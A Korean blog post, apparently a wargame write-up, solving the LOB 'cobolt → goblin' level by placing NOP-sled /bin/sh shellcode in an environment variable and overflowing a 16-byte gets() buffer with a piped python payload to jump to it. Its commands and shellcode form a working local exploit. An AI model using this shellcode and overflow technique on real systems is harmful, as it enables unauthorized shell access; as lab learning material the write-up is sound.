시스템 해킹/LOB

[LOB] cobolt → goblin

ruming 2021. 2. 20. 23:46

cobolt / hacking exposed로 접속

 

goblin.c 파일을 보면 저번과 비슷한 문제지만 이번에는 gets함수로 문자열을 받아온다. 버퍼의 크기가 16바이트이기 때문에 이번에도 환경변수를 이용해 문제를 풀어볼 것이다.

 

 

export로 환경변수를 설정하고

export shellcode=`python -c 'print"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

getenv함수로 쉘 코드의 주소를 구한다.

쉘코드 주소 : bfffff09

 

gets함수로 문자열을 받아온다는 걸 간과하고 저번처럼 입력했다가 실행이 안되는 것을 알았다.

이번에는 파이프를 사용해 gets에 들어갈 인자를 전달해주었다. cat 명령어는 프로그램이 종료되지 않고 입력을 대기하게 함으로써 my-pass 명령어를 사용할 수 있게 하는 용도로 사용한 것이다.

(python -c 'print("\x90"*20+"\x09\xff\xff\xbf")'; cat) | ./goblin

공격에 성공했다!

 

hackers proof

'시스템 해킹 > LOB' 카테고리의 다른 글

[LOB] wolfman → darkelf  (0) 2021.02.22
[LOB] orc → wolfman  (0) 2021.02.21
[LOB] goblin → orc  (0) 2021.02.21
[LOB] gremlin → cobolt  (0) 2021.02.20
[LOB] gate → gremlin  (0) 2021.02.09